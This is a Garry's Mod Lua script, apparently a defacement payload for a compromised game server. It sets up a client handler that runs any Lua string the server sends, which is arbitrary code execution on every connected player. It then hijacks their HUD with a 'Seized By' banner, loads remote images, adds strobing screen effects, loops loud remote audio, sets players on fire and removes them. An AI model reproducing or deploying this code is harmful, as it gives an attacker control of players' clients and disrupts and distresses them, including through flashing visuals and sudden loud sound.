util.AddNetworkString "skeleton_dancing_troll" local lol = {} function lol:RandomString( intMin, intMax ) local ret = "" for _ = 1, math.random( intMin, intMax ) do ret = ret.. string.char( math.random(65, 90) ) end return ret end lol.m_tblActions = {} lol.m_strImageGlobalVar = lol:RandomString( 6, 12 ) lol.m_strImageLoadHTML = [[

]] function lol:PushAction( intChainDelay, func ) self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func } end function lol:NextAction( pPlayer ) pPlayer.m_intCurAction = pPlayer.m_intCurAction +1 if not self.m_tblActions[pPlayer.m_intCurAction] then return end timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function() if not IsValid( pPlayer ) then return end self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer ) self:NextAction( pPlayer ) end ) end function lol:Start( pPlayer ) pPlayer.m_intCurAction = 0 self:NextAction( pPlayer ) end function lol:SendLua( pPlayer, strLua ) net.Start( "skeleton_dancing_troll" ) net.WriteString( strLua ) net.Send( pPlayer ) end function lol:SetupPlayer( pPlayer ) pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" ) end for k, v in pairs( player.GetAll() ) do lol:SetupPlayer( v ) timer.Simple( 2, function() lol:Start( v ) end ) end hook.Add( "PlayerAuthed", "wat", function( pPlayer ) lol:SetupPlayer( pPlayer ) timer.Simple( 10, function() lol:Start( pPlayer ) end ) end ) hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat ) if strText:sub( 1, 5 ) == "/1337" then pSender:Ignite( 1e9 ) pSender:ChatPrint( "Nop" ) pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] ) return false end end ) --Sequence stack --Start some tunes and steam in our assets lol:PushAction( 0, function( pPlayer ) lol:SendLua( pPlayer, ([=[ sound.PlayURL( "http://midou.mtxserv.fr/mp3/B.mp3", "", function()end ) g_]=].. lol.m_strImageGlobalVar.. [=[ = {} local html = [[%s]] local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY ) local pnl = vgui.Create( "HTML" ) pnl:SetPos( ScrW() -1, ScrH() -1 ) pnl:SetVisible( true ) pnl:SetMouseInputEnabled( false ) pnl:SetKeyBoardInputEnabled( false ) pnl:SetSize( intSizeX, intSizeY ) pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) ) local PageLoaded PageLoaded = function() local mat = pnl:GetHTMLMaterial() if mat then g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl } return end timer.Simple( 0.5, PageLoaded ) end PageLoaded() end LoadWebMaterial( "http://midou.mtxserv.fr/image/HUD454.png", "hud1", 300, 128 ) LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 ) LoadWebMaterial( "http://midou.mtxserv.fr/image/doraexploratrice.png", "hud3", 128, 128 ) LoadWebMaterial( "http://midou.mtxserv.fr/image/noh.png", "doritos", 183, 256 ) LoadWebMaterial( "http://midou.mtxserv.fr/image/M.PNG", "fedora", 256, 256 ) LoadWebMaterial( "http://midou.mtxserv.fr/image/mid.png", "dew", 110, 256 ) LoadWebMaterial( "http://midou.mtxserv.fr/image/lok.png", "awp", 256, 55 ) ]=]):format(lol.m_strImageLoadHTML) ) end ) --HUD swap lol:PushAction( 31, function( pPlayer ) lol:SendLua( pPlayer, [[ (GAMEMODE or GM).CalcView = function() end (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" } for k, v in pairs(remove) do hook.GetTable()[v] = {} end local function GetWebMat( strURL ) return g_]].. lol.m_strImageGlobalVar.. [[[strURL] end hook.Add( "HUDPaint", "newhud", function() surface.SetDrawColor( 255, 255, 255, 255 ) if GetWebMat( "hud1" ) then surface.SetMaterial( GetWebMat("hud1")[1] ) surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 ) end if GetWebMat( "hud2" ) then surface.SetMaterial( GetWebMat("hud2")[1] ) surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 ) end if GetWebMat( "hud3" ) then surface.SetMaterial( GetWebMat("hud3")[1] ) surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 ) end if GetWebMat( "doritos" ) then surface.SetMaterial( GetWebMat("doritos")[1] ) surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 ) end if GetWebMat( "dew" ) then surface.SetMaterial( GetWebMat("dew")[1] ) surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 ) end if GetWebMat( "fedora" ) then surface.SetMaterial( GetWebMat("fedora")[1] ) surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 ) end if GetWebMat( "awp" ) then surface.SetMaterial( GetWebMat("awp")[1] ) surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 ) end draw.SimpleTextOutlined( "Seized By FullMachine| MoodTeam.", "DermaLarge", ScrW() /2 +math.random( -8, 8 ), ScrH() /2 +math.random( -8, 8 ) +64, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color( 0, 0, 255, 255 ) ) draw.SimpleTextOutlined( "C:", "DermaLarge", ScrW() /2 +math.random( -8, 8 ), ScrH() /2 +math.random( -8, 8 ) +24, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color( 0, 0, 255, 255 ) ) end ) local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true } hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end ) surface.PlaySound( "garrysmod/save_load4.wav" ) surface.PlaySound( "vo/npc/male01/excuseme02.wav" ) ]] ) end ) --Disco time lol:PushAction( 10, function( pPlayer ) local idx = pPlayer:EntIndex() timer.Create( "beat".. idx, 0.42, 0, function() if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) ) end ) lol:SendLua( pPlayer, [[ local emitter = ParticleEmitter( LocalPlayer():GetPos() ) local time = 0 hook.Add( "Think", "wat", function() if CurTime() < time then return end time = CurTime() +0.05 for i = 1, 16 do local part = emitter:Add( "particles/balloon_bit", LocalPlayer():GetPos() +Vector( math.random( -256, 256 ), math.random( -256, 256 ), 256 ) ) if part then local Size = math.random( 4, 7 ) part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 ) part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) ) part:SetDieTime( 4.5 ) part:SetGravity( Vector(40, 0, -250) ) part:SetLifeTime( 0 ) part:SetStartSize( Size /2 ) part:SetEndSize( Size ) part:SetCollide( true ) end end end ) ]] ) lol:SendLua( pPlayer, [[ hook.Add( "RenderScreenspaceEffects", "wat", function() local sinScaler = math.sin( CurTime() ) DrawBloom( 0, 3, sinScaler *math.Rand(1, 8), sinScaler *math.Rand(1, 8), 6, math.Rand(0.5, 2), math.Rand(0, 0.3), math.Rand(0, 0.3), math.Rand(0.5, 1) ) DrawColorModify{ ["$pp_colour_addr"] = 0, ["$pp_colour_addg"] = 0, ["$pp_colour_addb"] = 00, ["$pp_colour_brightness" ] = 0, ["$pp_colour_contrast" ] = 1, ["$pp_colour_colour" ] = 1, ["$pp_colour_mulr" ] = 0, ["$pp_colour_mulg" ] = 0, ["$pp_colour_mulb" ] = 1 } end ) local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH ) mdl:SetNoDraw( true ) local posCache, time = {}, 0 hook.Add( "HUDPaint", "dance", function() if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then local idx = mdl:LookupSequence("taunt_dance") mdl.SeqDuration = mdl:SequenceDuration( idx ) mdl.SeqStart = CurTime() mdl:ResetSequence( idx ) end mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration ) local w, h = 300, 300 local ang = Angle( 0, 0, 0 ) for i = 1, 32 do if CurTime() > time then posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) } end local x, y = posCache[i][1], posCache[i][2] cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h ) cam.IgnoreZ( true ) render.SuppressEngineLighting( true ) render.SetLightingOrigin( mdl:GetPos() ) render.ResetModelLighting( 1, 1, 1 ) render.SetColorModulation( 0, 0, 1 ) mdl:DrawModel() render.SuppressEngineLighting( false ) cam.IgnoreZ( false ) cam.End3D() end if CurTime() > time then time = CurTime() +0.15 end end ) surface.PlaySound( "vo/npc/male01/ohno.wav" ) ]] ) end ) --Let the beat drop lol:PushAction( 54, function( pPlayer ) lol:SendLua( pPlayer, [[ hook.Add( "GetMotionBlurValues", "wat", function() return 0, 0, 1, math.sin(CurTime() *13) end ) hook.Add( "RenderScreenspaceEffects", "ohgod", function() local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) ) DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) ) DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 ) end ) hook.Add( "PostDrawTranslucentRenderables", "ohgod", function() render.SetMaterial( Material("cable/blue_elec") ) for i = 1, 32 do render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) ) end end ) timer.Create( "thedrop", 0.42, 0, function() util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) end ) ]] ) end ) --EVIL TIME rip headpones lol:PushAction( 175, function( pPlayer ) lol:SendLua( pPlayer, [[ surface.PlaySound( "vo/npc/male01/gethellout.wav" ) local sounds = {} for i = 1, 4 do sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan ) sounds[#sounds +1] = pChan end ) end timer.Create( "asdf", 1, 0, function() if #sounds ~= 4 then return end timer.Destroy( "asdf" ) for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end end ) hook.Add( "HUDShouldDraw", "newhud", function() return false end ) ]] ) pPlayer:Remove() end )